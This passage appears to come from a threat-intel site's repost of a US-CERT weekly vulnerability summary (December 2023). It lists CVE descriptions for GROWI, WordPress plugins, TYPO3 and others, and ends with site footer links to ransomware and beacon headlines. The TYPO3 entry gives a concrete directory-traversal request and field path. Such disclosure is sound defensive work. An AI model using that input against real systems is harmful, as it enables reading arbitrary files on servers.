typo3 — typo3	In TYPO3 11.5.24, the filelist component allows attackers (who have access to the administrator panel) to read arbitrary files via directory traversal in the baseuri field, as demonstrated by POST /typo3/record/edit with ../../../ in data[sys_file_storage]*[data][sDEF][lDEF][basePath][vDEF].	2023-12-25	not yet calculated	CVE-2023-30451 [email protected]
unified_remote — unified_remote	Unified Remote 3.13.0 allows remote attackers to execute arbitrary Lua code because of a wildcarded Access-Control-Allow-Origin for the Remote upload endpoint.	2023-12-30	not yet calculated	CVE-2023-52252 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability exists in the presentation feature of GROWI versions prior to v3.4.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-42436 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability exists in the App Settings (/admin/app) page and the Markdown Settings (/admin/markdown) page of GROWI versions prior to v3.5.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-45737 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability when processing profile images exists in GROWI versions prior to v4.1.3. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-45740 [email protected] [email protected]
weseek,_inc. — growi	Cross-site request forgery (CSRF) vulnerability exists in the User settings (/me) page of GROWI versions prior to v6.0.0. If a user views a malicious page while logging in, settings may be changed without the user’s intention.	2023-12-26	not yet calculated	CVE-2023-46699 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability which is exploiting a behavior of the XSS Filter exists in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-47215 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability via the img tags exists in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-49119 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability exists in the event handlers of the pre tags in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-49598 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability exists in the anchor tag of GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-49779 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability when processing the MathJax exists in GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-49807 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability exists in the App Settings (/admin/app) page, the Markdown Settings (/admin/markdown) page, and the Customize (/admin/customize) page of GROWI versions prior to v6.0.0. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-50175 [email protected] [email protected]
weseek,_inc. — growi	The App Settings (/admin/app) page in GROWI versions prior to v6.0.6 stores sensitive information in cleartext form. As a result, the Secret access key for external service may be obtained by an attacker who can access the App Settings page.	2023-12-26	not yet calculated	CVE-2023-50294 [email protected] [email protected]
weseek,_inc. — growi	Improper authorization vulnerability exists in the User Management (/admin/users) page of GROWI versions prior to v6.0.6. If this vulnerability is exploited, a user may delete or suspend its own account without the user’s intention.	2023-12-26	not yet calculated	CVE-2023-50332 [email protected] [email protected]
weseek,_inc. — growi	Stored cross-site scripting vulnerability exists in the User Management (/admin/users) page of GROWI versions prior to v6.1.11. If this vulnerability is exploited, an arbitrary script may be executed on the web browser of the user who accessed the site using the product.	2023-12-26	not yet calculated	CVE-2023-50339 [email protected] [email protected]
wiremock — wiremock	WireMock with GUI versions 3.2.0.0 through 3.0.4.0 are vulnerable to stored cross-site scripting (SXSS) through the recording feature. An attacker can host a malicious payload and perform a test mapping pointing to the attacker’s file, and the result will render on the Matched page in the Body area, resulting in the execution of the payload. This occurs because the response body is not validated or sanitized.	2023-12-29	not yet calculated	CVE-2023-50069 [email protected]
wolters_kluwer — b.point	On a Wolters Kluwer B.POINT 23.70.00 server running Linux on premises, during the authentication phase, a validated system user can achieve remote code execution via Argument Injection in the server-to-server module.	2023-12-25	not yet calculated	CVE-2023-49328 [email protected]
wordpress — wordpress	The WP Sessions Time Monitoring Full Automatic WordPress plugin before 1.0.9 does not sanitize the request URL or query parameters before using them in an SQL query, allowing unauthenticated attackers to extract sensitive data from the database via blind time based SQL injection techniques, or in some cases an error/union based technique.	2023-12-26	not yet calculated	CVE-2023-5203 [email protected]
wordpress — wordpress	The WP Mail Log WordPress plugin before 1.1.3 does not correctly authorize its REST API endpoints, allowing users with the Contributor role to view and delete data that should only be accessible to Admin users.	2023-12-26	not yet calculated	CVE-2023-5644 [email protected]
wordpress — wordpress	The WP Mail Log WordPress plugin before 1.1.3 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as Contributor.	2023-12-26	not yet calculated	CVE-2023-5645 [email protected]
wordpress — wordpress	The WP Mail Log WordPress plugin before 1.1.3 does not properly validate file path parameters when attaching files to emails, leading to local file inclusion, and allowing an attacker to leak the contents of arbitrary files.	2023-12-26	not yet calculated	CVE-2023-5672 [email protected]
wordpress — wordpress	The WP Mail Log WordPress plugin before 1.1.3 does not properly validate file extensions uploading files to attach to emails, allowing attackers to upload PHP files, leading to remote code execution.	2023-12-26	not yet calculated	CVE-2023-5673 [email protected]
wordpress — wordpress	The WP Mail Log WordPress plugin before 1.1.3 does not properly sanitize and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by users with a role as low as Contributor.	2023-12-26	not yet calculated	CVE-2023-5674 [email protected]
wordpress — wordpress	The rtMedia for WordPress, BuddyPress and bbPress WordPress plugin before 4.6.16 does not validate files to be uploaded, which could allow attackers with a low-privilege account (e.g. subscribers) to upload arbitrary files such as PHP on the server.	2023-12-26	not yet calculated	CVE-2023-5931 [email protected]
wordpress — wordpress	The rtMedia for WordPress, BuddyPress and bbPress WordPress plugin before 4.6.16 loads the contents of the import file in an unsafe manner, leading to remote code execution by privileged users.	2023-12-26	not yet calculated	CVE-2023-5939 [email protected]
wordpress — wordpress	The BSK Forms Blacklist WordPress plugin before 3.7 does not sanitize and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).	2023-12-26	not yet calculated	CVE-2023-5980 [email protected]
wordpress — wordpress	The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorization checks, allowing unauthenticated users to download and delete arbitrary files on the server.	2023-12-26	not yet calculated	CVE-2023-5991 [email protected]
wordpress — wordpress	The Duplicator WordPress plugin before 1.5.7.1, Duplicator Pro WordPress plugin before 4.5.14.2 does not disallow listing the `backups-dup-lite/tmp` directory (or the `backups-dup-pro/tmp` directory in the Pro version), which temporarily stores files containing sensitive data. When directory listing is enabled in the web server, this allows unauthenticated attackers to discover and access these sensitive files, which include a full database dump and a zip archive of the site.	2023-12-26	not yet calculated	CVE-2023-6114 [email protected] [email protected]
wordpress — wordpress	The Quiz Maker WordPress plugin before 6.4.9.5 does not adequately authorize the `ays_quiz_author_user_search` AJAX action, allowing an unauthenticated attacker to perform a search for users of the system, ultimately leaking user email addresses.	2023-12-26	not yet calculated	CVE-2023-6155 [email protected]
wordpress — wordpress	The Quiz Maker WordPress plugin before 6.4.9.5 does not escape generated URLs before outputting them in attributes, leading to Reflected Cross-Site Scripting	2023-12-26	not yet calculated	CVE-2023-6166 [email protected]
wordpress — wordpress	The BestWebSoft’s Like & Share WordPress plugin before 2.74 discloses the content of password protected posts to unauthenticated users via a meta tag	2023-12-26	not yet calculated	CVE-2023-6250 [email protected]
wordpress — wordpress	The JSON Content Importer WordPress plugin before 1.5.4 does not sanitize and escape the tab parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin	2023-12-26	not yet calculated	CVE-2023-6268 [email protected]
xenom_technologies — phone_dialer-voice_call_dialer	An issue in Xenom Technologies (sinous) Phone Dialer-voice Call Dialer v.1.2.5 allows an attacker to bypass intended access restrictions via interaction with com.funprime.calldialer.ui.activities.OutgoingActivity.	2023-12-27	not yet calculated	CVE-2023-49002 [email protected] [email protected]
xiangshan — xiangshan	An issue was discovered in XiangShan v2.1, allows local attackers to obtain sensitive information via the L1D cache.	2023-12-30	not yet calculated	CVE-2023-50559 [email protected] [email protected]
xnview — classic_for_windows	XnView Classic before 2.51.3 on Windows has a Write Access Violation at xnview.exe+0x3ADBD0.	2023-12-29	not yet calculated	CVE-2023-52173 [email protected] [email protected]
xnview — classic_for_windows	XnView Classic before 2.51.3 on Windows has a Write Access Violation at xnview.exe+0x3125D6.	2023-12-29	not yet calculated	CVE-2023-52174 [email protected] [email protected]
youloft_holding_group_co. — perpetual_calendar	An issue in the openFile method of Chinese Perpetual Calendar v9.0.0 allows attackers to read any file via unspecified vectors.	2023-12-28	not yet calculated	CVE-2023-51006 [email protected]
zzcms — zzcms	ZZCMS 2023 has a file upload vulnerability in 3/E_bak5.1/upload/index.php, allowing attackers to exploit this loophole to gain server privileges and execute arbitrary code.	2023-12-29	not yet calculated	CVE-2023-50104 [email protected]

A considerable amount of time and effort goes into maintaining this website, creating backend automation and creating new features and content for you to make actionable intelligence decisions. Everyone that supports the site helps enable new functionality.

If you like the site, please support us on “Patreon” or “Buy Me A Coffee” using the buttons below

Buy Me A Coffee

Patreon

To keep up to date follow us on the below channels.

Tags: threatintel, US-CERT

US-CERT Vulnerability Summary for the Week of December 25, 2023

High Vulnerabilities

Medium Vulnerabilities

Low Vulnerabilities

Severity Not Yet Assigned

[APT73] – Ransomware Victim: federalbank[.]co[.]in (PART1)

[ELDORADO] – Ransomware Victim: Relate Infotech

[AKIRA] – Ransomware Victim: Good Neighbors Credit Union

CVE Alert: CVE-2024-12897

Cobalt Strike Beacon Detected – 45[.]204[.]217[.]98:2002

High Vulnerabilities

Medium Vulnerabilities

Low Vulnerabilities

Severity Not Yet Assigned

You may have missed

[APT73] – Ransomware Victim: federalbank[.]co[.]in (PART1)

[ELDORADO] – Ransomware Victim: Relate Infotech

[AKIRA] – Ransomware Victim: Good Neighbors Credit Union

CVE Alert: CVE-2024-12897

Cobalt Strike Beacon Detected – 45[.]204[.]217[.]98:2002